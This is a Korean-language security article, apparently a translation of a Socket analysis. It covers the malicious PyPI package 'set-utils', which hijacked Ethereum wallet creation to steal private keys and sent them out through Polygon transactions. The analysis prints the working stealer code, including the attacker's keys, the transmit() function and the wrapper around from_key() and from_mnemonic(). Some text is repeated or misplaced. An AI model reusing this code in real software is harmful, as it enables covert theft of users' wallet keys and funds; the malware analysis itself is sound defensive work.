Socket의 보안 연구원들은 “set-utils”라는 악성 PyPI 패키지를 발견했습니다 . 이 패키지는 암호화폐 지갑 생성 기능을 하이재킹하고 훔친 개인 키를 Polygon 블록체인을 통해 전송합니다.
이 패키지는 Python용 유용한 라이브러리인 것처럼 위장하여, 7억 1,200만 번 다운로드된 “python-utils”와 2,350만 번 이상 설치된 “utils”를 모방했습니다. 전문가들은 이 위협을 발견했으며 “set-utils”는 2025년 1월 29 일 PyPI에 게시된 이후로 천 번 이상 다운로드되었다고 보고했습니다 .
이 공격은 “eth-account”를 사용하여 지갑을 관리하는 블록체인 애플리케이션 개발자, Python DeFi 프로젝트, Ethereum 기반 Web3 애플리케이션 및 Python을 사용하여 지갑을 자동으로 생성하는 사용자를 대상으로 했습니다. 다운로드 수가 비교적 적었음에도 불구하고, 이 공격은 이러한 지갑을 사용하는 훨씬 더 많은 사용자에게 영향을 미쳤을 수 있습니다.
악성 패키지에는 공격자의 공개 RSA 키가 포함되어 있었는데, 이 키는 훔친 데이터를 암호화하는 데 사용되었으며, 공격자의 이더리움 계정도 포함되어 있었습니다. “from_key()”와 “from_mnemonic()” 같은 표준 지갑 생성 함수에 삽입되어 개인 키가 생성되는 즉시 가로채기되었습니다.
도난당한 키는 암호화되어 Polygon의 공개 RPC 엔드포인트를 통해 공격자 계정으로 전송되는 Ethereum 거래의 데이터 필드에 삽입되었습니다. 이 방법을 사용하면 일반적으로 HTTP 요청은 모니터링하지만 블록체인 거래는 모니터링하지 않는 바이러스 백신 및 방화벽 에 의해 차단될 위험 없이 은밀하게 데이터를 전송할 수 있습니다 .
또한 Polygon의 낮은 수수료, 소액 거래에 대한 제한 없음, 접근 가능한 공개 RPC 노드 등의 특징으로 인해 공격자가 자체 인프라를 구축할 필요성이 없어졌습니다. 공격자는 데이터를 전송한 후 언제든지 훔친 정보에 접근할 수 있습니다. 훔친 정보는 블록체인에 영구적으로 저장되기 때문입니다.
“set-utils”는 발견된 후 PyPI에서 제거되었지만, 해당 패키지를 설치한 개발자와 사용자는 즉시 제거해야 합니다. 이 도구를 사용해 생성된 모든 지갑은 손상된 것으로 간주되며, 해당 지갑에 저장된 자금은 도난을 방지하기 위해 다른 지갑으로 긴급히 이체하는 것이 좋습니다. 소켓 연구팀이 set-utils
일반적으로 사용되는 계정 생성 기능을 악용하여 이더리움 개인 키를 훔치도록 설계된 악성 PyPI 패키지를 발견했습니다. 파이썬 세트를 위한 간단한 유틸리티로 위장한 이 패키지는 python-utils
( 7억 1,200만 건 이상 다운로드 ) 및 utils
( 2,350만 건 이상 다운로드 )와 같은 널리 사용되는 라이브러리를 모방합니다. 이 속임수는 의심하지 않는 개발자를 속여 손상된 패키지를 설치하게 하고 공격자에게 이더리움 지갑에 대한 무단 액세스를 허용합니다.
2025년 1월 29일 이후로 1,000회set-utils
이상 다운로드되어 이더리움 사용자와 개발자를 위험에 빠뜨렸습니다. 이 패키지는 특히 블록체인 기술을 사용하는 사람, 특히 Python 기반 지갑 관리 라이브러리(예: . )를 사용하는 개발자를 대상으로 합니다 . 이 패키지는 이더리움 계정 생성을 가로채서 명령 및 제어(C2) 서버로 악용하여 블록체인을 통해 개인 키를 빼냅니다 . 이를 통해 공격자는 은밀하게 도난한 자격 증명을 추출할 수 있습니다.eth-account
https://rpc-amoy.polygon.technology/

잠재적 타겟 #
이 공격은 주로 Python 기반 블록체인 애플리케이션을 사용하는 Ethereum 개발자와 다음을 포함한 조직을 대상으로 합니다.
eth-account
지갑 생성 및 관리에 블록체인을 활용하는 개발자입니다 .- Python 스크립트를 사용하여 계정을 생성하는 DeFi(분산형 금융) 프로젝트입니다 .
- 이더리움 거래를 통합한 암호화폐 거래소와 Web3 애플리케이션 .
- Python 자동화를 사용하여 개인 Ethereum 지갑을 관리하는 개인 .
해당 패키지를 설치한 사람은 개인 키가 공격자에게 노출될 위험이 있으며 , 이는 상당한 재정적 손실로 이어질 가능성이 있습니다.
공격의 영향 #
이 공격의 결과는 다음과 같습니다.
- 이더리움 개인 키의 은밀한 도난 : 이러한 공격은 표준 지갑 생성 방법에 연결되어 있어 감지하기 어렵습니다.
- 하드코딩된 공격자가 제어하는 RSA 공개 키 : 개인 키는 전송되기 전에 암호화되어 기본 모니터링에서 데이터가 숨겨집니다.
rpc-amoy.polygon.technology/
C2 채널로서의 Polygon RPC( ) 남용 : 기존의 네트워크 침출을 사용하는 대신, 도난당한 데이터는 블록체인 거래 내에 숨겨져 있어 탐지가 훨씬 어렵습니다.- 영구적 손상 : 제거하더라도
set-utils
활성화되어 있는 동안 생성된 모든 이더리움 지갑은 이미 노출되어 손상되었습니다.
악성코드의 단계별 분석 #
1단계: 공격자의 RSA 공개 키 및 Ethereum 계정 임베딩
악성 스크립트의 첫 번째 부분은 공격자가 제어하는 RSA 공개 키 와 이더리움 지갑 주소를 정의합니다 . 이는 훔친 개인 키를 암호화하고 전송하는 데 사용됩니다.
pycrypto_pubkey = b"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoE/n0a0nNk3hGlDv+ypQ\n8Vk/xHpjYD6LpFYLmBBv4fg5ScckQwDweOKTLmN12cC2EWlpIiiS6u3Zqdph6L34\nO/ec1v9E+4yk02d0ttSwNDMaUzaGXaZaHv1N8ln+KYFaQjx+HvGlEDpDAxEElowB\nmsYv9ZOX/AUFvmL9Ug6ZqcN4/7ISV45c20dukWsH46qbVPyIh3ppOXdtAG13Bqxo\nDN+uKvD7XaC1DOWepWEXYKyIIre5gR0U5Un0v44YWQaQIPruWrYpKl8acKrAuHiQ\nUZdGKxmJlRyUUAAEVhYodW3kw0KAWZgcUDYkfJg2eCEXV4rx/CtTSEvPmPeU7FV9\nIQIDAQAB\n-----END PUBLIC KEY-----"
cipher = PKCS1_OAEP.new(RSA.import_key(pycrypto_pubkey))
sender_account = Account.from_key(
"0xa3a1d8ee43adc1024b2407b2230e018bd1752ebc819b8abe873b8a3aa5acaee3"
)
2단계: Polygon RPC(C2 서버)를 통한 개인 키 추출
도난된 개인 키를 빼내는 데 책임이 있는 핵심 기능 은 transmit()
. 개인 키를 암호화하여 Polygon RPC 엔드포인트를 통해 Ethereum 트랜잭션rpc-amoy.polygon.technology/
내에서 전송합니다 .
def transmit(acct):
try:
from web3 import Web3
from hexbytes import HexBytes
web3 = Web3(Web3.HTTPProvider("https://rpc-amoy.polygon.technology/"))
transaction = {
"value": 0,
"nonce": web3.eth.get_transaction_count(sender_account.address),
"gas": 60000,
"gasPrice": web3.eth.gas_price,
"chainId": web3.eth.chain_id,
"data": cipher.encrypt(acct.key),
}
(
v,
r,
s,
encoded_transaction,
) = sign_transaction_dict(acct._key_obj, transaction, blobs=None)
tx_hash = web3.eth.send_raw_transaction(HexBytes(encoded_transaction))
except:
pass
3단계: 이더리움 계정 생성 기능 수정
이 패키지는 표준 이더리움 지갑 생성 기능을 자동으로 수정하고 , 백그라운드에서 자격 증명을from_key()
래핑 하고 추출 from_mnemonic()
합니다 .
def augment_func(func):
@wraps(func)
def wrapper(self, *args, **kwargs):
acct = func(self, *args, **kwargs)
threading.Thread(target=transmit, args=(acct,), daemon=True).start()
return acct
return wrapper
이렇게 하면 사용자가 Ethereum 계정을 성공적으로 생성하더라도 개인 키가 도난당하여 공격자에게 전송됩니다 . 악성 기능은 백그라운드 스레드에서 실행되므로 감지가 더욱 어렵습니다.
위험 완화 #
이러한 위험을 완화하기 위해 개발자와 조직은 소프트웨어 공급망을 보호하기 위한 사전 조치를 취해야 합니다. 정기적인 종속성 감사와 자동화된 스캐닝 도구를 사용하여 타사 패키지에서 비정상적이거나 악의적인 동작을 감지한 다음 프로덕션 환경에 통합해야 합니다.
- Socket의 무료 GitHub 앱을 사용하면 풀 리퀘스트를 실시간으로 모니터링하고 병합하기 전에 의심스럽거나 악성인 패키지를 표시할 수 있습니다.
- 설치 또는 빌드 중에 소켓 CLI를 실행하면 프로덕션에 적용되기 전에 오픈 소스 종속성의 이상을 식별하여 방어력을 한층 더 강화할 수 있습니다.
- Socket 브라우저 확장 프로그램을 사용하면 브라우징 활동을 분석하고 사용자가 악성 콘텐츠를 다운로드하거나 이용하기 전에 잠재적인 위협에 대해 경고하여 즉각적인 보호 기능을 제공합니다.
이러한 보안 조치를 개발 워크플로에 통합함으로써 조직은 공급망 공격 가능성을 크게 줄일 수 있습니다. 우리는 이 악성 패키지를 PyPI 팀에 보고했고, 추가 공격을 방지하기 위해 즉시 제거되었습니다.